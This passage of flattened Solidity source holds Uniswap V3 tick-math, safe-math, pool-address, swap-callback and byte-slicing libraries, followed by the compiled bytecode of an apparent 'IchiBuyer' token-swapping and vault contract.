or equal to the input ratio function getTickAtSqrtRatio(uint160 sqrtPriceX96) internal pure returns (int24 tick) { // second inequality must be < because the price can never reach the price at the max tick require(sqrtPriceX96 >= MIN_SQRT_RATIO && sqrtPriceX96 < MAX_SQRT_RATIO, 'R'); uint256 ratio = uint256(sqrtPriceX96) << 32; uint256 r = ratio; uint256 msb = 0; assembly { let f := shl(7, gt(r, 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(6, gt(r, 0xFFFFFFFFFFFFFFFF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(5, gt(r, 0xFFFFFFFF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(4, gt(r, 0xFFFF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(3, gt(r, 0xFF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(2, gt(r, 0xF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(1, gt(r, 0x3)) msb := or(msb, f) r := shr(f, r) } assembly { let f := gt(r, 0x1) msb := or(msb, f) } if (msb >= 128) r = ratio >> (msb - 127); else r = ratio << (127 - msb); int256 log_2 = (int256(msb) - 128) << 64; assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(63, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(62, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(61, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(60, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(59, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(58, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(57, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(56, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(55, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(54, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(53, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(52, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(51, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(50, f)) } int256 log_sqrt10001 = log_2 * 255738958999603826347141; // 128.128 number int24 tickLow = int24((log_sqrt10001 - 3402992956809132418596140100660247210) >> 128); int24 tickHi = int24((log_sqrt10001 + 291339464771989622907027621153398088495) >> 128); tick = tickLow == tickHi ? tickLow : getSqrtRatioAtTick(tickHi) <= sqrtPriceX96 ? tickHi : tickLow; } } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.7.0; /// @title Optimized overflow and underflow safe math operations /// @notice Contains methods for doing math operations that revert on overflow or underflow for minimal gas cost library LowGasSafeMath { /// @notice Returns x + y, reverts if sum overflows uint256 /// @param x The augend /// @param y The addend /// @return z The sum of x and y function add(uint256 x, uint256 y) internal pure returns (uint256 z) { require((z = x + y) >= x); } /// @notice Returns x - y, reverts if underflows /// @param x The minuend /// @param y The subtrahend /// @return z The difference of x and y function sub(uint256 x, uint256 y) internal pure returns (uint256 z) { require((z = x - y) <= x); } /// @notice Returns x * y, reverts if overflows /// @param x The multiplicand /// @param y The multiplier /// @return z The product of x and y function mul(uint256 x, uint256 y) internal pure returns (uint256 z) { require(x == 0 || (z = x * y) / x == y); } /// @notice Returns x + y, reverts if overflows or underflows /// @param x The augend /// @param y The addend /// @return z The sum of x and y function add(int256 x, int256 y) internal pure returns (int256 z) { require((z = x + y) >= x == (y >= 0)); } /// @notice Returns x - y, reverts if overflows or underflows /// @param x The minuend /// @param y The subtrahend /// @return z The difference of x and y function sub(int256 x, int256 y) internal pure returns (int256 z) { require((z = x - y) <= x == (y >= 0)); } } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Provides functions for deriving a pool address from the factory, tokens, and the fee library PoolAddress { bytes32 internal constant POOL_INIT_CODE_HASH = 0xe34f199b19b2b4f47f68442619d555527d244f78a3297ea89325f843f87b8b54; /// @notice The identifying key of the pool struct PoolKey { address token0; address token1; uint24 fee; } /// @notice Returns PoolKey: the ordered tokens with the matched fee levels /// @param tokenA The first token of a pool, unsorted /// @param tokenB The second token of a pool, unsorted /// @param fee The fee level of the pool /// @return Poolkey The pool details with ordered token0 and token1 assignments function getPoolKey( address tokenA, address tokenB, uint24 fee ) internal pure returns (PoolKey memory) { if (tokenA > tokenB) (tokenA, tokenB) = (tokenB, tokenA); return PoolKey({token0: tokenA, token1: tokenB, fee: fee}); } /// @notice Deterministically computes the pool address given the factory and PoolKey /// @param factory The Uniswap V3 factory contract address /// @param key The PoolKey /// @return pool The contract address of the V3 pool function computeAddress(address factory, PoolKey memory key) internal pure returns (address pool) { require(key.token0 < key.token1); pool = address( uint256( keccak256( abi.encodePacked( hex'ff', factory, keccak256(abi.encode(key.token0, key.token1, key.fee)), POOL_INIT_CODE_HASH ) ) ) ); } } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Callback for IUniswapV3PoolActions#swap /// @notice Any contract that calls IUniswapV3PoolActions#swap must implement this interface interface IUniswapV3SwapCallback { /// @notice Called to `msg.sender` after executing a swap via IUniswapV3Pool#swap. /// @dev In the implementation you must pay the pool tokens owed for the swap. /// The caller of this method must be checked to be a UniswapV3Pool deployed by the canonical UniswapV3Factory. /// amount0Delta and amount1Delta can both be 0 if no tokens were swapped. /// @param amount0Delta The amount of token0 that was sent (negative) or must be received (positive) by the pool by /// the end of the swap. If positive, the callback must send that amount of token0 to the pool. /// @param amount1Delta The amount of token1 that was sent (negative) or must be received (positive) by the pool by /// the end of the swap. If positive, the callback must send that amount of token1 to the pool. /// @param data Any data passed through by the caller via the IUniswapV3PoolActions#swap call function uniswapV3SwapCallback( int256 amount0Delta, int256 amount1Delta, bytes calldata data ) external; } // SPDX-License-Identifier: GPL-2.0-or-later /* * @title Solidity Bytes Arrays Utils * @author Gonçalo Sá <[email protected]> * * @dev Bytes tightly packed arrays utility library for ethereum contracts written in Solidity. * The library lets you concatenate, slice and type cast bytes arrays both in memory and storage. */ pragma solidity >=0.5.0 <0.8.0; library BytesLib { function slice( bytes memory _bytes, uint256 _start, uint256 _length ) internal pure returns (bytes memory) { require(_length + 31 >= _length, 'slice_overflow'); require(_start + _length >= _start, 'slice_overflow'); require(_bytes.length >= _start + _length, 'slice_outOfBounds'); bytes memory tempBytes; assembly { switch iszero(_length) case 0 { // Get a location of some free memory and store it in tempBytes as // Solidity does for memory variables. tempBytes := mload(0x40) // The first word of the slice result is potentially a partial // word read from the original array. To read it, we calculate // the length of that partial word and start copying that many // bytes into the array. The first word we copy will start with // data we don't care about, but the last `lengthmod` bytes will // land at the beginning of the contents of the new array. When // we're done copying, we overwrite the full first word with // the actual length of the slice. let lengthmod := and(_length, 31) // The multiplication in the next line is necessary // because when slicing multiples of 32 bytes (lengthmod == 0) // the following copy loop was copying the origin's length // and then ending prematurely not copying everything it should. let mc := add(add(tempBytes, lengthmod), mul(0x20, iszero(lengthmod))) let end := add(mc, _length) for { // The multiplication in the next line has the same exact purpose // as the one above. let cc := add(add(add(_bytes, lengthmod), mul(0x20, iszero(lengthmod))), _start) } lt(mc, end) { mc := add(mc, 0x20) cc := add(cc, 0x20) } { mstore(mc, mload(cc)) } mstore(tempBytes, _length) //update free-memory pointer //allocating the array padded to 32 bytes like the compiler does now mstore(0x40, and(add(mc, 31), not(31))) } //if we want a zero-length slice let's just return a zero-length array default { tempBytes := mload(0x40) //zero out the 32 bytes slice we are about to return //we need to do it because Solidity does not garbage collect mstore(tempBytes, 0) mstore(0x40, add(tempBytes, 0x20)) } } return tempBytes; } function toAddress(bytes memory _bytes, uint256 _start) internal pure returns (address) { require(_start + 20 >= _start, 'toAddress_overflow'); require(_bytes.length >= _start + 20, 'toAddress_outOfBounds'); address tempAddress; assembly { tempAddress := div(mload(add(add(_bytes, 0x20), _start)), 0x1000000000000000000000000) } return tempAddress; } function toUint24(bytes memory _bytes, uint256 _start) internal pure returns (uint24) { require(_start + 3 >= _start, 'toUint24_overflow'); require(_bytes.length >= _start + 3, 'toUint24_outOfBounds'); uint24 tempUint; assembly { tempUint := mload(add(add(_bytes, 0x3), _start)) } return tempUint; } }
0x608060405234801561001057600080fd5b50600436106101165760003560e01c80638c04166f116100a2578063c31c9c0711610071578063c31c9c07146101ed578063d845f298146101f5578063f2fde38b14610208578063fbfa77cf1461021b578063ffb005ba1461022357610116565b80638c04166f146101c25780638c67847b146101ca5780638da5cb5b146101dd57806393dd0739146101e557610116565b80633dc1cbb8116100e95780633dc1cbb81461018257806343f68a491461018c5780636817031b1461019f578063715018a6146101b25780638bdb2afa146101ba57610116565b80630ef412ee1461011b5780631037ea5114610145578063111e4b601461016557806339cfb4821461017a575b600080fd5b61012e610129366004612b2d565b61022b565b60405161013c929190612c00565b60405180910390f35b610158610153366004612a0c565b610342565b60405161013c9190612f78565b61016d61063e565b60405161013c9190612bd2565b61016d610662565b61018a610686565b005b61018a61019a366004612afd565b6108a7565b61018a6101ad3660046129ba565b610973565b61018a610a48565b61016d610af4565b610158610b18565b61018a6101d8366004612ae3565b610b1e565b61016d6111ac565b61016d6111bb565b61016d6111df565b610158610203366004612b77565b611203565b61018a6102163660046129ba565b6112d9565b61016d6113db565b61018a6113ea565b600080600085116102575760405162461bcd60e51b815260040161024e90612d46565b60405180910390fd5b600084848080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509293505050505b600061029e826118a2565b905060008060006102ae856118ae565b92509250925060006102ea7f0000000000000000000000001f98431c8ad98523631ae4a59f267346ea31f9846102e58686866118df565b611941565b905060006102f782611a25565b90506103058585838f611acd565b9b50851561031d5761031687611ae3565b965061032e565b8b9750839850505050505050610339565b505050505050610293565b50935093915050565b600061034c611b00565b6001600160a01b031661035d6111ac565b6001600160a01b0316146103a6576040805162461bcd60e51b8152602060048201819052602482015260008051602061301e833981519152604482015290519081900360640190fd5b60006103e784848080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152506118ae92505050565b505090506000816001600160a01b03166370a08231306040518263ffffffff1660e01b81526004016104199190612bd2565b60206040518083038186803b15801561043157600080fd5b505afa158015610445573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104699190612b15565b905060008061047983888861022b565b9150915060006104a6670de0b6b3a76400006104a060025485611b0490919063ffffffff16565b90611b5d565b905060006104b48383611bc4565b90506104e1867f000000000000000000000000e592427a0aece92de3edee1f18e0157c0586156487611c21565b6040805160c06020601f8c01819004028201810190925260a081018a81526000928291908d908d9081908501838280828437600092019190915250505090825250306020820152426040808301919091526060820189905260809091018490525163c04b8d5960e01b81529091507f000000000000000000000000e592427a0aece92de3edee1f18e0157c058615646001600160a01b03169063c04b8d599061058e908490600401612e80565b602060405180830381600087803b1580156105a857600080fd5b505af11580156105bc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105e09190612b15565b9750846001600160a01b0316876001600160a01b03167f640a3e57f4bfef62d5a472a76a550e54609d9a9567bf4d1e5b327721b784577b33898c60405161062993929190612c19565b60405180910390a35050505050505092915050565b7f000000000000000000000000903bef1736cddf2a537176cf3c64579c3867a88181565b7f00000000000000000000000070605a6457b0a8fbf1eee896911895296eab467e81565b61068e611b00565b6001600160a01b031661069f6111ac565b6001600160a01b0316146106e8576040805162461bcd60e51b8152602060048201819052602482015260008051602061301e833981519152604482015290519081900360640190fd5b6040516370a0823160e01b81526000906001600160a01b037f000000000000000000000000903bef1736cddf2a537176cf3c64579c3867a88116906370a0823190610737903090600401612bd2565b60206040518083038186803b15801561074f57600080fd5b505afa158015610763573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107879190612b15565b905060007f000000000000000000000000903bef1736cddf2a537176cf3c64579c3867a8816001600160a01b031663a9059cbb7f00000000000000000000000070605a6457b0a8fbf1eee896911895296eab467e846040518363ffffffff1660e01b81526004016107f9929190612c00565b602060405180830381600087803b15801561081357600080fd5b505af1158015610827573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061084b91906129f2565b90508061086a5760405162461bcd60e51b815260040161024e90612c8c565b7f5d6b86811be12b017cdd70c695112f4e90cad01d0cfdff630fcb934efddd499a338360405161089b929190612c00565b60405180910390a15050565b6108af611b00565b6001600160a01b03166108c06111ac565b6001600160a01b031614610909576040805162461bcd60e51b8152602060048201819052602482015260008051602061301e833981519152604482015290519081900360640190fd5b670de0b6b3a76400008111156109315760405162461bcd60e51b815260040161024e90612d92565b60028190556040517f77ddfb22dde40b49c2360c0033d35138d21a179d2545e35c648fc427d6c565ce906109689033908490612c00565b60405180910390a150565b61097b611b00565b6001600160a01b031661098c6111ac565b6001600160a01b0316146109d5576040805162461bcd60e51b8152602060048201819052602482015260008051602061301e833981519152604482015290519081900360640190fd5b6001600160a01b0381166109fb5760405162461bcd60e51b815260040161024e90612dd9565b600180546001600160a01b0319166001600160a01b0383161790556040517f22a9f7c8a21e91a43518238948d4ed67511ad8492ca0e13fdbc93c134701a72a906109689033908490612be6565b610a50611b00565b6001600160a01b0316610a616111ac565b6001600160a01b031614610aaa576040805162461bcd60e51b8152602060048201819052602482015260008051602061301e833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b7f0000000000000000000000001f98431c8ad98523631ae4a59f267346ea31f98481565b60025481565b610b26611b00565b6001600160a01b0316610b376111ac565b6001600160a01b031614610b80576040805162461bcd60e51b8152602060048201819052602482015260008051602061301e833981519152604482015290519081900360640190fd5b6001546040516370a0823160e01b81526000918291829182918291829182916001600160a01b0316906370a0823190610bbd903090600401612bd2565b60206040518083038186803b158015610bd557600080fd5b505afa158015610be9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c0d9190612b15565b90508015610c9c57600154604051627b8a6760e11b81526001600160a01b039091169062f714ce90610c459084903090600401612f81565b6040805180830381600087803b158015610c5e57600080fd5b505af1158015610c72573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c969190612ba2565b90975095505b60015460408051630dfe168160e01b815290516000926001600160a01b031691630dfe1681916004808301926020929190829003018186803b158015610ce157600080fd5b505afa158015610cf5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d1991906129d6565b90507f000000000000000000000000903bef1736cddf2a537176cf3c64579c3867a8816001600160a01b0316816001600160a01b03161415610d6057879550869450610d67565b8695508794505b6040516370a0823160e01b81526001600160a01b037f0000000000000000000000008290d7a64f25e6b5002d98367e8367c1b532b53416906370a0823190610db3903090600401612bd2565b60206040518083038186803b158015610dcb57600080fd5b505afa158015610ddf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e039190612b15565b92506000610e11848b611203565b90506000610e36670de0b6b3a76400006104a060025485611b0490919063ffffffff16565b90506000610e448383611bc4565b905060006040518061010001604052807f0000000000000000000000008290d7a64f25e6b5002d98367e8367c1b532b5346001600160a01b031681526020017f000000000000000000000000903bef1736cddf2a537176cf3c64579c3867a8816001600160a01b031681526020018e62ffffff168152602001306001600160a01b0316815260200142815260200188815260200183815260200160006001600160a01b03168152509050610f397f0000000000000000000000008290d7a64f25e6b5002d98367e8367c1b532b5347f000000000000000000000000e592427a0aece92de3edee1f18e0157c0586156489611c21565b60405163414bf38960e01b81526001600160a01b037f000000000000000000000000e592427a0aece92de3edee1f18e0157c05861564169063414bf38990610f85908490600401612f0f565b602060405180830381600087803b158015610f9f57600080fd5b505af1158015610fb3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fd79190612b15565b975060007f000000000000000000000000903bef1736cddf2a537176cf3c64579c3867a8816001600160a01b03166370a08231306040518263ffffffff1660e01b81526004016110279190612bd2565b60206040518083038186803b15801561103f57600080fd5b505afa158015611053573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110779190612b15565b905060007f000000000000000000000000903bef1736cddf2a537176cf3c64579c3867a8816001600160a01b031663a9059cbb7f00000000000000000000000070605a6457b0a8fbf1eee896911895296eab467e846040518363ffffffff1660e01b81526004016110e9929190612c00565b602060405180830381600087803b15801561110357600080fd5b505af1158015611117573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061113b91906129f2565b90508061115a5760405162461bcd60e51b815260040161024e90612c8c565b7f35f432a64bd3767447a456650432406c6cacb885819947a202216eeea6820ecf338d8d8d8d8760405161119396959493929190612c3a565b60405180910390a1505050505050505050505050505050565b6000546001600160a01b031690565b7f0000000000000000000000008290d7a64f25e6b5002d98367e8367c1b532b53481565b7f000000000000000000000000e592427a0aece92de3edee1f18e0157c0586156481565b6000806112757f0000000000000000000000001f98431c8ad98523631ae4a59f267346ea31f9846102e57f000000000000000000000000903bef1736cddf2a537176cf3c64579c3867a8817f0000000000000000000000008290d7a64f25e6b5002d98367e8367c1b532b534876118df565b9050600061128282611a25565b90506112d07f0000000000000000000000008290d7a64f25e6b5002d98367e8367c1b532b5347f000000000000000000000000903bef1736cddf2a537176cf3c64579c3867a8818388611acd565b95945050505050565b6112e1611b00565b6001600160a01b03166112f26111ac565b6001600160a01b03161461133b576040805162461bcd60e51b8152602060048201819052602482015260008051602061301e833981519152604482015290519081900360640190fd5b6001600160a01b0381166113805760405162461bcd60e51b8152600401808060200182810382526026815260200180612fb16026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001546001600160a01b031681565b6113f2611b00565b6001600160a01b03166114036111ac565b6001600160a01b03161461144c576040805162461bcd60e51b8152602060048201819052602482015260008051602061301e833981519152604482015290519081900360640190fd5b6001546040516370a0823160e01b815260009182916001600160a01b03909116906370a0823190611481903090600401612bd2565b60206040518083038186803b15801561149957600080fd5b505afa1580156114ad573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114d19190612b15565b9050801561155d57600154604051627b8a6760e11b81526001600160a01b039091169062f714ce906115099084903090600401612f81565b6040805180830381600087803b15801561152257600080fd5b505af1158015611536573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061155a9190612ba2565b50505b60015460408051630dfe168160e01b815290516000926001600160a01b031691630dfe1681916004808301926020929190829003018186803b1580156115a257600080fd5b505afa1580156115b6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115da91906129d6565b90507f000000000000000000000000903bef1736cddf2a537176cf3c64579c3867a8816001600160a01b0316816001600160a01b0316141561161b57600192505b611623610686565b6040516370a0823160e01b81526000906001600160a01b037f0000000000000000000000008290d7a64f25e6b5002d98367e8367c1b532b53416906370a0823190611672903090600401612bd2565b60206040518083038186803b15801561168a57600080fd5b505afa15801561169e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116c29190612b15565b9050801561186157600154611704906001600160a01b037f0000000000000000000000008290d7a64f25e6b5002d98367e8367c1b532b5348116911683611d6f565b83156117b857600154604051638dbdbe6d60e01b81526001600160a01b0390911690638dbdbe6d9061173f9060009085903090600401612c6d565b602060405180830381600087803b15801561175957600080fd5b505af115801561176d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117919190612b15565b9250600083116117b35760405162461bcd60e51b815260040161024e90612ce9565b611861565b600154604051638dbdbe6d60e01b81526001600160a01b0390911690638dbdbe6d906117ed9084906000903090600401612c6d565b602060405180830381600087803b15801561180757600080fd5b505af115801561181b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061183f9190612b15565b9250600083116118615760405162461bcd60e51b815260040161024e90612ce9565b7fd3d8587b8d827faeebbf0f9fe215539d9bba5e3e0f7eb2334549a16d77caa5e333828560405161189493929190612c19565b60405180910390a150505050565b8051604211155b919050565b600080806118bc8482611e87565b92506118c9846014611f37565b90506118d6846017611e87565b91509193909250565b6118e761291e565b826001600160a01b0316846001600160a01b03161115611905579192915b6040518060600160405280856001600160a01b03168152602001846001600160a01b031681526020018362ffffff1681525090505b9392505050565b600081602001516001600160a01b031682600001516001600160a01b03161061196957600080fd5b50805160208083015160409384015184516001600160a01b0394851681850152939091168385015262ffffff166060808401919091528351808403820181526080840185528051908301206001600160f81b031960a085015294901b6bffffffffffffffffffffffff191660a183015260b58201939093527fe34f199b19b2b4f47f68442619d555527d244f78a3297ea89325f843f87b8b5460d5808301919091528251808303909101815260f5909101909152805191012090565b600080829050600080826001600160a01b0316633850c7bd6040518163ffffffff1660e01b815260040160e06040518083038186803b158015611a6757600080fd5b505afa158015611a7b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a9f9190612a4c565b96505050505092505080611ac55760405162461bcd60e51b815260040161024e90612e37565b509392505050565b60006112d083611adc84611fde565b8787612034565b8051606090611afa9083906017906016190161212b565b92915050565b3390565b600082611b1357506000611afa565b82820282848281611b2057fe5b041461193a5760405162461bcd60e51b8152600401808060200182810382526021815260200180612ffd6021913960400191505060405180910390fd5b6000808211611bb3576040805162461bcd60e51b815260206004820152601a60248201527f536166654d6174683a206469766973696f6e206279207a65726f000000000000604482015290519081900360640190fd5b818381611bbc57fe5b049392505050565b600082821115611c1b576040805162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b50900390565b604080516001600160a01b038481166024830152604480830185905283518084039091018152606490920183526020820180516001600160e01b031663095ea7b360e01b1781529251825160009485949389169392918291908083835b60208310611c9d5780518252601f199092019160209182019101611c7e565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114611cff576040519150601f19603f3d011682016040523d82523d6000602084013e611d04565b606091505b5091509150818015611d32575080511580611d325750808060200190516020811015611d2f57600080fd5b50515b611d68576040805162461bcd60e51b8152602060048201526002602482015261534160f01b604482015290519081900360640190fd5b5050505050565b801580611df5575060408051636eb1769f60e11b81523060048201526001600160a01b03848116602483015291519185169163dd62ed3e91604480820192602092909190829003018186803b158015611dc757600080fd5b505afa158015611ddb573d6000803e3d6000fd5b505050506040513d6020811015611df157600080fd5b5051155b611e305760405162461bcd60e51b81526004018080602001828103825260368152602001806130686036913960400191505060405180910390fd5b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663095ea7b360e01b179052611e8290849061227b565b505050565b600081826014011015611ed6576040805162461bcd60e51b8152602060048201526012602482015271746f416464726573735f6f766572666c6f7760701b604482015290519081900360640190fd5b8160140183511015611f27576040805162461bcd60e51b8152602060048201526015602482015274746f416464726573735f6f75744f66426f756e647360581b604482015290519081900360640190fd5b500160200151600160601b900490565b600081826003011015611f85576040805162461bcd60e51b8152602060048201526011602482015270746f55696e7432345f6f766572666c6f7760781b604482015290519081900360640190fd5b8160030183511015611fd5576040805162461bcd60e51b8152602060048201526014602482015273746f55696e7432345f6f75744f66426f756e647360601b604482015290519081900360640190fd5b50016003015190565b806001600160801b03811681146118a9576040805162461bcd60e51b81526020600482015260156024820152745361666555696e743132383a206f766572666c6f7760581b604482015290519081900360640190fd5b6000806120408661232c565b90506001600160801b036001600160a01b038216116120af576001600160a01b038082168002908481169086161061208f5761208a600160c01b876001600160801b03168361265e565b6120a7565b6120a781876001600160801b0316600160c01b61265e565b925050612122565b60006120ce6001600160a01b038316806801000000000000000061265e565b9050836001600160a01b0316856001600160a01b03161061210657612101600160801b876001600160801b03168361265e565b61211e565b61211e81876001600160801b0316600160801b61265e565b9250505b50949350505050565b60608182601f011015612176576040805162461bcd60e51b815260206004820152600e60248201526d736c6963655f6f766572666c6f7760901b604482015290519081900360640190fd5b8282840110156121be576040805162461bcd60e51b815260206004820152600e60248201526d736c6963655f6f766572666c6f7760901b604482015290519081900360640190fd5b8183018451101561220a576040805162461bcd60e51b8152602060048201526011602482015270736c6963655f6f75744f66426f756e647360781b604482015290519081900360640190fd5b6060821580156122295760405191506000825260208201604052612122565b6040519150601f8416801560200281840101858101878315602002848b0101015b8183101561226257805183526020928301920161224a565b5050858452601f01601f19166040525050949350505050565b60006122d0826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b031661270d9092919063ffffffff16565b805190915015611e82578080602001905160208110156122ef57600080fd5b5051611e825760405162461bcd60e51b815260040180806020018281038252602a81526020018061303e602a913960400191505060405180910390fd5b60008060008360020b12612343578260020b61234b565b8260020b6000035b9050620d89e8811115612389576040805162461bcd60e51b81526020600482015260016024820152601560fa1b604482015290519081900360640190fd5b60006001821661239d57600160801b6123af565b6ffffcb933bd6fad37aa2d162d1a5940015b70ffffffffffffffffffffffffffffffffff16905060028216156123e3576ffff97272373d413259a46990580e213a0260801c5b6004821615612402576ffff2e50f5f656932ef12357cf3c7fdcc0260801c5b6008821615612421576fffe5caca7e10e4e61c3624eaa0941cd00260801c5b6010821615612440576fffcb9843d60f6159c9db58835c9266440260801c5b602082161561245f576fff973b41fa98c081472e6896dfb254c00260801c5b604082161561247e576fff2ea16466c96a3843ec78b326b528610260801c5b608082161561249d576ffe5dee046a99a2a811c461f1969c30530260801c5b6101008216156124bd576ffcbe86c7900a88aedcffc83b479aa3a40260801c5b6102008216156124dd576ff987a7253ac413176f2b074cf7815e540260801c5b6104008216156124fd576ff3392b0822b70005940c7a398e4b70f30260801c5b61080082161561251d576fe7159475a2c29b7443b29c7fa6e889d90260801c5b61100082161561253d576fd097f3bdfd2022b8845ad8f792aa58250260801c5b61200082161561255d576fa9f746462d870fdf8a65dc1f90e061e50260801c5b61400082161561257d576f70d869a156d2a1b890bb3df62baf32f70260801c5b61800082161561259d576f31be135f97d08fd981231505542fcfa60260801c5b620100008216156125be576f09aa508b5b7a84e1c677de54f3e99bc90260801c5b620200008216156125de576e5d6af8dedb81196699c329225ee6040260801c5b620400008216156125fd576d2216e584f5fa1ea926041bedfe980260801c5b6208000082161561261a576b048a170391f7dc42444e8fa20260801c5b60008460020b131561263557806000198161263157fe5b0490505b64010000000081061561264957600161264c565b60005b60ff16602082901c0192505050919050565b6000808060001985870986860292508281109083900303905080612694576000841161268957600080fd5b50829004905061193a565b8084116126a057600080fd5b6000848688096000868103871696879004966002600389028118808a02820302808a02820302808a02820302808a02820302808a02820302808a02909103029181900381900460010186841190950394909402919094039290920491909117919091029150509392505050565b606061271c8484600085612724565b949350505050565b6060824710156127655760405162461bcd60e51b8152600401808060200182810382526026815260200180612fd76026913960400191505060405180910390fd5b61276e85612874565b6127bf576040805162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015290519081900360640190fd5b600080866001600160a01b031685876040518082805190602001908083835b602083106127fd5780518252601f1990920191602091820191016127de565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d806000811461285f576040519150601f19603f3d011682016040523d82523d6000602084013e612864565b606091505b509150915061211e82828661287a565b3b151590565b6060831561288957508161193a565b8251156128995782518084602001fd5b8160405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156128e35781810151838201526020016128cb565b50505050905090810190601f1680156129105780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b604080516060810182526000808252602082018190529181019190915290565b805180151581146118a957600080fd5b60008083601f84011261295f578182fd5b50813567ffffffffffffffff811115612976578182fd5b60208301915083602082850101111561298e57600080fd5b9250929050565b805161ffff811681146118a957600080fd5b803562ffffff811681146118a957600080fd5b6000602082840312156129cb578081fd5b813561193a81612f98565b6000602082840312156129e7578081fd5b815161193a81612f98565b600060208284031215612a03578081fd5b61193a8261293e565b60008060208385031215612a1e578081fd5b823567ffffffffffffffff811115612a34578182fd5b612a408582860161294e565b90969095509350505050565b600080600080600080600060e0888a031215612a66578283fd5b8751612a7181612f98565b8097505060208801518060020b8114612a88578384fd5b9550612a9660408901612995565b9450612aa460608901612995565b9350612ab260808901612995565b925060a088015160ff81168114612ac7578283fd5b9150612ad560c0890161293e565b905092959891949750929550565b600060208284031215612af4578081fd5b61193a826129a7565b600060208284031215612b0e578081fd5b5035919050565b600060208284031215612b26578081fd5b5051919050565b600080600060408486031215612b41578283fd5b83359250602084013567ffffffffffffffff811115612b5e578283fd5b612b6a8682870161294e565b9497909650939450505050565b60008060408385031215612b89578182fd5b82359150612b99602084016129a7565b90509250929050565b60008060408385031215612bb4578182fd5b505080516020909101519092909150565b6001600160a01b03169052565b6001600160a01b0391909116815260200190565b6001600160a01b0392831681529116602082015260400190565b6001600160a01b03929092168252602082015260400190565b6001600160a01b039390931683526020830191909152604082015260600190565b6001600160a01b03969096168652602086019490945260408501929092526060840152608083015260a082015260c00190565b92835260208301919091526001600160a01b0316604082015260600190565b60208082526037908201527f4963686942757965722e7472616e73666572496368693a207849636869436f6e60408201527f74726163742072656a6563746564207472616e73666572000000000000000000606082015260800190565b6020808252603a908201527f6963686942757965722e72657365745661756c74506f736974696f6e3a20646960408201527f64206e6f742072656365697665207661756c7420736861726573000000000000606082015260800190565b6020808252602c908201527f4963686942757965722e73706f74466f72526f7574653a20616d6f756e74496e60408201526b0206d757374206265203e20360a41b606082015260800190565b60208082526027908201527f49